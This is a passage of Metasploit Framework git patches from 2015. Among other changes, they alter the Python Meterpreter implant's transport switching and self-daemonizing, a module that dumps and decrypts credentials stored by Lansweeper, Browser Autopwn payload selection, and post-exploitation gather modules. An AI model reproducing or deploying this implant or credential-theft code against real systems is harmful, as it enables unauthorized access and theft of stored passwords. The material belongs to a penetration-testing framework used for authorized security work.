[FalseClass] Resource is not taken. def is_resource_taken?(resource) @@ -227,7 +228,7 @@ module Msf # Sorts a grouped module list by disclosure date. # - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| @@ -238,7 +239,7 @@ module Msf # Sorts a module list by ranking. # - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [Hash] A hash grouped by ranking. def sort_group_by_rank(bap_groups) Hash[bap_groups.sort_by {|k,v| k}.reverse] @@ -265,7 +266,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # # @see #bap_exploits The read-only attribute. - # @param [Hash] bap_groups A grouped module list. + # @param bap_groups [Hash] A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @bap_exploits = [] @@ -281,7 +282,7 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. - # @param [Symbol] platform Platform name. + # @param platform [Symbol] Platform name. # @return [String] Payload name. def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] @@ -300,7 +301,7 @@ module Msf # Returns the selected payload's LPORT. # - # @param [Symbol] platform + # @param platform [Symbol] # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] @@ -367,7 +368,7 @@ module Msf # Returns the human-readable version of the rank. # - # @param [Fixnum] rank + # @param rank [Fixnum] # @return [String] def parse_rank(rank) RankingName[rank].to_s.capitalize @@ -377,8 +378,8 @@ module Msf # Checks whether the payload is compatible with the module based on platform information. # Best for single-platform modules and for performance. # - # @param [Object] m Module. - # @param [Symbol] payload_platform Payload platform. + # @param m [Object] Module. + # @param payload_platform [Symbol] Payload platform. # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. def is_payload_platform_compatible?(m, payload_platform) @@ -394,20 +395,14 @@ module Msf end - # Checks whether the payload is compatible with the module based on the module's compatibility list. - # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? + # Checks whether the payload is compatible with the module based on the module's compatibility list # - # @note This method is really slow, and it's really noticeable with Flash exploits because they're - # multi-platform. In our testing, every Flash that ends up using this code takes about 0.4 second - # to initialize when on average each BES should only take 0.1 to load. Evetnaully this will get - # worse. Luke is in the process of improving module searching (by caching), and that should make - # this problem go away. If not, we'll have to avoid using compatible_payloads and do our own thing. - # @param [Object] m Module. - # @param [String] payload_name + # @param compatible_payloads [Array] A list of payloads that are compatible + # @param payload_name [String] # @return [TrueClass] Payload is compatible. # @return [FalseClass] Payload is not compatible. - def is_payload_compatible?(m, payload_name) - m.compatible_payloads.each do |k| + def is_payload_compatible?(compatible_payloads, payload_name) + compatible_payloads.each do |k| return true if k[0] == payload_name end @@ -417,9 +412,9 @@ module Msf # Checks if the module is multi-platform based on the directory path. # - # @param [Object] m Module. - # @return [TrueClass] Module is multi-platform. - # @return [FalseClass] Module is not multi-platform. + # @param m [Object] Module. + # @return Module [TrueClass] is multi-platform. + # @return Module [FalseClass] is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end @@ -427,11 +422,13 @@ module Msf # Returns an appropriate payload that's compatible with the module. # - # @param [Object] m A module that's been initialized. + # @param m [Object] A module that's been initialized. # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) compatible_payloads = [] + module_payloads = nil + DEFAULT_PAYLOADS.each_pair do |platform, info| payload_choice = { :payload_name => get_selected_payload_name(platform), @@ -441,8 +438,14 @@ module Msf if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) compatible_payloads << payload_choice break - elsif is_payload_compatible?(m, payload_choice[:payload_name]) - compatible_payloads << payload_choice + else + # The #compatible_payloads method is super expensive (slow). By doing it this way, + # I managed to shave off seconds. + module_payloads ||= m.compatible_payloads + + if is_payload_compatible?(module_payloads, payload_choice[:payload_name]) + compatible_payloads << payload_choice + end end end @@ -628,8 +631,8 @@ module Msf # Logs a click that includes the suitable exploit list. # - # @param [String] ip The target's IP address. - # @param [String] data (Optional) CSV data that contains the exploit list. + # @param ip [String] The target's IP address. + # @param data [String] (Optional) CSV data that contains the exploit list. # @return [void] def log_click(ip, data='') report_note( diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 1d003816f6..eef314059e 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -629,17 +629,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#is_payload_compatible?' do - let(:windows_exploit) { create_fake_ms14_064 } + let(:windows_exploit_payloads) { create_fake_ms14_064.compatible_payloads } context 'when a valid payload name is given' do it 'returns true' do - expect(subject.is_payload_compatible?(windows_exploit, windows_meterpreter_reverse_tcp)).to be_truthy + expect(subject.is_payload_compatible?(windows_exploit_payloads, windows_meterpreter_reverse_tcp)).to be_truthy end end context 'when an invalid payload name is given' do it 'returns false' do - expect(subject.is_payload_compatible?(windows_exploit, linux_meterpreter_reverse_tcp)).to be_falsey + expect(subject.is_payload_compatible?(windows_exploit_payloads, linux_meterpreter_reverse_tcp)).to be_falsey end end end From 5c039ccfd796637c96d563fdb3a421a5a99b73e0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 27 Jun 2015 13:51:21 -0500 Subject: [PATCH 0588/1013] Even faster --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 7da6a2d385..885b86c782 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,6 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - set_exploit_options(mod) @bap_exploits << mod end end @@ -460,6 +459,7 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| + set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From 6136269aceed91839d221629d37a77267340190e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 27 Jun 2015 13:53:29 -0500 Subject: [PATCH 0589/1013] No can't do this --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 885b86c782..7da6a2d385 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,6 +63,7 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + set_exploit_options(mod) @bap_exploits << mod end end @@ -459,7 +460,6 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| - set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From b332b257951d95cedf625ab1dbf39a87511ba5c4 Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Sat, 27 Jun 2015 19:06:15 -0500 Subject: [PATCH 0590/1013] Stores credentials in DB, fixes loop variable and nil dereference bug --- .../auxiliary/gather/lansweeper_collector.rb | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index f04ee87330..8b73e67f0b 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary num2 = uint32(v[0]) num3 = uint32(v[1]) - for i in 0..0x1f + 0.upto(0x1f) do num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^ uint32(num + k[uint32(num >> 11) & 3]) num3 = uint32(num3) @@ -104,10 +104,21 @@ class Metasploit3 < Msf::Auxiliary end def run + unless mssql_login_datastore + fail_with(Failure::NoAccess, "Login failed. Check credentials.") + end result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] + - '.dbo.tsysCredentials WHERE LEN(Password)>64', false) if mssql_login_datastore + '.dbo.tsysCredentials WHERE LEN(Password)>64', false) result[:rows].each do |row| - print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ") + pw = lswdecrypt(row[2]) + print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}") + report_auth_info( + :host => rhost, + :port => rport, + :sname => row[0], + :user => row[1], + :pass => pw + ) end disconnect end From f6fa462bdc377e5e61709c2aa6347e246fe5add0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sat, 27 Jun 2015 20:57:45 -0400 Subject: [PATCH 0591/1013] Pymet support for changing transports --- data/meterpreter/meterpreter.py | 56 +++++++++++++++++++++++++++------ 1 file changed, 47 insertions(+), 9 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c24cdf211e..55aa88974d 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -77,6 +77,9 @@ PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 +STAGE_END_MARKER = bytes('### meterpreter stage end ###\n') +STAGE_START_MARKER = bytes('#!/usr/b') + ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 @@ -418,6 +421,12 @@ class Transport(object): transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) return transport + def activate(self): + return + + def deactivate(self): + return + def get_packet(self): self.communication_active = False try: @@ -476,6 +485,8 @@ class HttpTransport(Transport): url_h = urllib.urlopen(request) packet = url_h.read() if packet: + if packet[8:] == STAGE_START_MARKER: + return _get_packet() packet = packet[8:] else: packet = None @@ -500,15 +511,15 @@ class TcpTransport(Transport): self.url = url self.socket = socket - def _check_socket(self): + def activate(self): if self.socket: return if self.url.startswith('tcp:'): family = socket.AF_INET - address, port = url[6:].split(':', 1) + address, port = self.url[6:].split(':', 1) else: family = socket.AF_INET6 - address, port = url[7:].split(':', 1) + address, port = self.url[7:].split(':', 1) port = int(port.rstrip('/')) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if address == '0.0.0.0' or address == '::': @@ -520,13 +531,24 @@ class TcpTransport(Transport): self.socket = sock return + def deactivate(self): + if not self.socket: + return + self.socket.shutdown(socket.SHUT_RDWR) + self.socket.close() + self.socket = None + def _get_packet(self): - self._check_socket() packet = None if len(select.select([self.socket], [], [], 0.5)[0]): packet = self.socket.recv(8) if len(packet) != 8: return None + if packet == STAGE_START_MARKER: + while self.socket.recv(len(STAGE_END_MARKER), socket.MSG_PEEK) != STAGE_END_MARKER: + self.socket.recv(1) + self.socket.recv(len(STAGE_END_MARKER)) + return self._get_packet() pkt_length, pkt_type = struct.unpack('>II', packet) pkt_length -= 8 packet = bytes() @@ -535,7 +557,6 @@ class TcpTransport(Transport): return packet def _send_packet(self, packet): - self._check_socket() self.socket.send(packet) @classmethod @@ -555,6 +576,7 @@ class TcpTransport(Transport): class PythonMeterpreter(object): def __init__(self, transport): self.transport = transport + self.transport.activate() self.running = False self.last_registered_extension = None self.extension_functions = {} @@ -610,6 +632,19 @@ class PythonMeterpreter(object): def session_has_expired(self): return time.time() > self.session_expiry_end + def change_transport(self, forward=True): + current_idx = self.transports.index(self.transport) + if forward: + new_idx = min(current_idx + 1, len(self.transports) - 1) + else: + new_idx = max(current_idx - 1, 0) + if new_idx == current_idx: + return + self.transport.deactivate() + self.transport = self.transports[new_idx] + self.transport.activate() + + def run(self): while self.running and not self.session_has_expired: request = None @@ -756,10 +791,12 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_next(self, request, response): - raise NotImplemented() + self.change_transport(forward=True) + return ERROR_SUCCESS, response def _core_transport_prev(self, request, response): - raise NotImplemented() + self.change_transport(forward=False) + return ERROR_SUCCESS, response def _core_transport_set_timeouts(self, request, response): timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') @@ -909,8 +946,7 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -#if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): -if True: +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): try: os.setsid() @@ -922,3 +958,5 @@ if True: transport = TcpTransport.from_socket(s) met = PythonMeterpreter(transport) met.run() + +### meterpreter stage end ### From 1d50bda609f0e022744a3736758484b70eec0d68 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Sat, 27 Jun 2015 21:38:25 -0400 Subject: [PATCH 0592/1013] initial add of blank file --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 modules/exploits/multi/http/werkzeug_debug_rce.rb diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb new file mode 100644 index 0000000000..e69de29bb2 From 7742d85f2fc088ad156f4bf2cc6a49024f4dc37e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 27 Jun 2015 20:58:19 -0500 Subject: [PATCH 0593/1013] I guess that's fine --- lib/msf/core/exploit/browser_autopwnv2.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 7da6a2d385..d2b3ccbf92 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -63,7 +63,7 @@ module Msf next end if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - set_exploit_options(mod) + @bap_exploits << mod end end @@ -460,6 +460,7 @@ module Msf # @return [void] def start_exploits bap_exploits.each do |m| + set_exploit_options(m) m.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, From 5c18fc82f26a269a648b19c34afef677f9e26b23 Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Sun, 28 Jun 2015 09:24:31 -0500 Subject: [PATCH 0594/1013] Stores credentials using create_credential_login --- .../auxiliary/gather/lansweeper_collector.rb | 26 ++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 8b73e67f0b..d42eb6fa79 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -103,6 +103,26 @@ class Metasploit3 < Msf::Auxiliary Rex::Text.to_ascii(decrypted, 'utf-16le') end + def report_cred(opts) + service_data = { + address: opts[:host], + port: opts[:port], + service_name: opts[:creds_name], + } + credential_data = { + username: opts[:user] + private_type: :password, + private_data: opts[:password], + module_fullname: self.fullname + }.merge(service_data) + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run unless mssql_login_datastore fail_with(Failure::NoAccess, "Login failed. Check credentials.") @@ -112,12 +132,12 @@ class Metasploit3 < Msf::Auxiliary result[:rows].each do |row| pw = lswdecrypt(row[2]) print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}") - report_auth_info( + report_cred( :host => rhost, :port => rport, - :sname => row[0], + :creds_name => row[0], :user => row[1], - :pass => pw + :password => pw ) end disconnect From 355738909aa7bc6b0e6d8a179a9694c46272bdb8 Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Sun, 28 Jun 2015 09:32:16 -0500 Subject: [PATCH 0595/1013] Fixes typo --- modules/auxiliary/gather/lansweeper_collector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index d42eb6fa79..551b9e4af3 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary service_name: opts[:creds_name], } credential_data = { - username: opts[:user] + username: opts[:user], private_type: :password, private_data: opts[:password], module_fullname: self.fullname From 00742ea924651e8cbdad83f2d7ecca0fc09055af Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 28 Jun 2015 13:16:00 -0400 Subject: [PATCH 0596/1013] Pymet cleaner transport switching with responses --- data/meterpreter/meterpreter.py | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 55aa88974d..d62344edbc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -312,6 +312,12 @@ def tlv_pack(*args): data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +@export +def tlv_pack_response(result, response): + response += tlv_pack(TLV_TYPE_RESULT, result) + response = struct.pack('>I', len(response) + 4) + response + return response + #@export class MeterpreterFile(object): def __init__(self, file_obj): @@ -644,7 +650,6 @@ class PythonMeterpreter(object): self.transport = self.transports[new_idx] self.transport.activate() - def run(self): while self.running and not self.session_has_expired: request = None @@ -653,7 +658,8 @@ class PythonMeterpreter(object): request = self.get_packet() if request: response = self.create_response(request) - self.send_packet(response) + if response: + self.send_packet(response) else: # iterate over the keys because self.channels could be modified if one is closed channel_ids = list(self.channels.keys()) @@ -791,12 +797,14 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_next(self, request, response): + self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.change_transport(forward=True) - return ERROR_SUCCESS, response + return None def _core_transport_prev(self, request, response): + self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.change_transport(forward=False) - return ERROR_SUCCESS, response + return None def _core_transport_set_timeouts(self, request, response): timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') @@ -933,7 +941,10 @@ class PythonMeterpreter(object): handler = self.extension_functions[handler_name] try: self.debug_print('[*] running method ' + handler_name) - result, resp = handler(request, resp) + result = handler(request, resp) + if result is None: + return + result, resp = result except Exception: self.debug_print('[-] method ' + handler_name + ' resulted in an error') if DEBUGGING: @@ -942,9 +953,7 @@ class PythonMeterpreter(object): else: self.debug_print('[-] method ' + handler_name + ' was requested but does not exist') result = error_result(NotImplementedError) - resp += tlv_pack(TLV_TYPE_RESULT, result) - resp = struct.pack('>I', len(resp) + 4) + resp - return resp + return tlv_pack_response(result, resp) if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): From afa442ad89301dfda08ec8f86a51eef23da1c485 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Mon, 29 Jun 2015 00:46:35 -0500 Subject: [PATCH 0597/1013] Fix a stack trace with ipmi_dumphashes when no database was configured. --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 93e95ac91b..9d64d504af 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -270,7 +270,7 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) cl = create_credential_login(login_data) - cl.core_id + cl ? cl.core_id : nil end def report_cracked_cred(user, password, core_id) From 2cbb107bbac945227ecaa2f4ce04ad671ba06124 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 29 Jun 2015 09:55:18 -0500 Subject: [PATCH 0598/1013] Update enum_configs --- modules/post/linux/gather/enum_configs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 9d1c29a66b..8e6ca7cf9d 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ host = sysinfo["Computer"] when /shell/ - host = session.shell_command_token("hostname").chomp + host = cmd_exec("hostname").chomp end return host From ae172691f2809f78a60939b6b9cc43e9462d6d8a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 29 Jun 2015 10:21:13 -0500 Subject: [PATCH 0599/1013] Update linux gather post modules --- modules/post/linux/gather/enum_network.rb | 2 +- modules/post/linux/gather/enum_protections.rb | 2 +- modules/post/linux/gather/enum_system.rb | 19 ------------------- .../post/linux/gather/enum_users_history.rb | 11 ----------- 4 files changed, 2 insertions(+), 32 deletions(-) diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 32b8f923d0..ba52141294 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ host = sysinfo["Computer"] when /shell/ - host = session.shell_command_token("hostname").chomp + host = cmd_exec("hostname").chomp end print_status("Running module against #{host}") diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index cc96a9acc6..ab18a0c403 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ host = sysinfo["Computer"] when /shell/ - host = session.shell_command_token("hostname").chomp + host = cmd_exec("hostname").chomp end return host diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index fb2f225378..e96331fa98 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -79,31 +79,12 @@ class Metasploit3 < Msf::Post print_status("#{msg} stored in #{loot}") end - def get_host - case session.type - when /meterpreter/ - host = sysinfo["Computer"] - when /shell/ - host = session.shell_command_token("hostname").chomp - end - - print_status("Running module against #{host}") - - host - end - def execute(cmd) vprint_status("Execute: #{cmd}") output = cmd_exec(cmd) output end - def cat_file(filename) - vprint_status("Download: #{filename}") - output = read_file(filename) - output - end - def get_packages(distro) packages_installed = "" case distro diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 161d091090..6feeb24323 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -66,17 +66,6 @@ class Metasploit3 < Msf::Post print_status("#{msg} stored in #{loot.to_s}") end - def get_host - case session.type - when /meterpreter/ - host = sysinfo['Computer'] - when /shell/ - host = session.shell_command_token('hostname').chomp - end - print_status("Running module against #{host}") - host - end - def execute(cmd) vprint_status("Execute: #{cmd}") output = cmd_exec(cmd) From e5836fbdac17bfb623ba1e3ed70c9c71311a5077 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Mon, 29 Jun 2015 10:57:50 -0500 Subject: [PATCH 0600/1013] Removed session -d from core.rb Ticket #4423 --- lib/msf/ui/console/command_dispatcher/core.rb | 28 ++----------------- 1 file changed, 2 insertions(+), 26 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f395805f99..423df8419a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -40,7 +40,6 @@ class Core "-l" => [ false, "List all active sessions" ], "-v" => [ false, "List verbose fields" ], "-q" => [ false, "Quiet mode" ], - "-d" => [ true, "Detach an interactive session" ], "-k" => [ true, "Terminate sessions by session ID and/or range" ], "-K" => [ false, "Terminate all sessions" ], "-s" => [ true, "Run a script on the session given with -i, or all"], @@ -1679,9 +1678,6 @@ class Core sid = val || false when "-K" method = 'killall' - when "-d" - method = 'detach' - sid = val || false # Run a script on all meterpreter sessions when "-s" unless script @@ -1827,26 +1823,6 @@ class Core end end end - when 'detach' - print_status("Detaching the following session(s): #{session_list.join(', ')}") - session_list.each do |sess_id| - session = verify_session(sess_id) - # if session is interactive, it's detachable - if session - if session.respond_to?(:response_timeout) - last_known_timeout = session.response_timeout - session.response_timeout = response_timeout - end - print_status("Detaching session #{sess_id}") - begin - session.detach - ensure - if session.respond_to?(:response_timeout) && last_known_timeout - session.response_timeout = last_known_timeout - end - end - end - end when 'interact' session = verify_session(sid) if session @@ -1981,7 +1957,7 @@ class Core end case words[-1] - when "-i", "-k", "-d", "-u" + when "-i", "-k", "-u" return framework.sessions.keys.map { |k| k.to_s } when "-c" @@ -3274,7 +3250,7 @@ class Core browser_pid = ::Process.spawn(cmd, "https://localhost:3790") ::Process.detach(browser_pid) elsif timeout >= 200 # 200 * 3 seconds is 10 minutes and that is tons of time. - print_line + print_linee print_warning "For some reason, Community / Pro didn't start in a timely fashion." print_warning "You might want to restart the Metasploit services by typing" print_warning "'service metasploit restart'. Sorry it didn't work out." From dde853b0a0521aaaafb5f6f9b66d29d1e82afeef Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Mon, 29 Jun 2015 11:27:50 -0500 Subject: [PATCH 0601/1013] Fixed "linee" to "line" --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 423df8419a..6ce3e89de2 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3250,7 +3250,7 @@ class Core browser_pid = ::Process.spawn(cmd, "https://localhost:3790") ::Process.detach(browser_pid) elsif timeout >= 200 # 200 * 3 seconds is 10 minutes and that is tons of time. - print_linee + print_line print_warning "For some reason, Community / Pro didn't start in a timely fashion." print_warning "You might want to restart the Metasploit services by typing" print_warning "'service metasploit restart'. Sorry it didn't work out." From 834c0e594af489d5b3e3f48aebd98c90fecfd681 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 29 Jun 2015 11:36:28 -0500 Subject: [PATCH 0602/1013] Update multi modules --- lib/msf/core/post/common.rb | 6 +++++- modules/post/multi/gather/multi_command.rb | 9 ++------- modules/post/multi/manage/shell_to_meterpreter.rb | 4 ++-- modules/post/multi/manage/system_session.rb | 2 +- 4 files changed, 10 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index f6bb9f8de1..7f4db478d9 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -122,7 +122,11 @@ module Msf::Post::Common process.close when /shell/ - o = session.shell_command_token("#{cmd} #{args}", time_out) + if args.nil? || args.empty? + o = session.shell_command_token("#{cmd}", time_out) + else + o = session.shell_command_token("#{cmd} #{args}", time_out) + end o.chomp! if o end return "" if o.nil? diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 08e9822b86..c16ef69a6c 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Platform' => %w{ bsd linux osx unix win }, - 'SessionTypes' => [ 'meterpreter','shell' ] + 'SessionTypes' => ['meterpreter'] )) register_options( [ @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run - session_type = session.type print_status("Running module against #{sysinfo['Computer']}") if not ::File.exists?(datastore['RESOURCE']) raise "Resource File does not exists!" @@ -41,11 +40,7 @@ class Metasploit3 < Msf::Post tmpout << " Output of #{cmd}\n" tmpout << "*****************************************\n" print_status "Running command #{cmd.chomp}" - if session_type =~ /meterpreter/ - tmpout << cmd_exec(cmd.chomp) - elsif session_type =~ /shell/ - tmpout << session.shell_command_token(cmd.chomp).chomp - end + tmpout << cmd_exec(cmd.chomp) vprint_status tmpout command_log = store_loot("host.command", "text/plain", session,tmpout , "#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'") diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 4874b403a3..d871740401 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -196,12 +196,12 @@ class Metasploit3 < Msf::Post sent = 0 aborted = false cmds.each { |cmd| - ret = session.shell_command_token(cmd) + ret = cmd_exec(cmd) if !ret aborted = true else ret.strip! - aborted = true if !ret.empty? + aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./ end if aborted print_error('Error: Unable to execute the following command: ' + cmd.inspect) diff --git 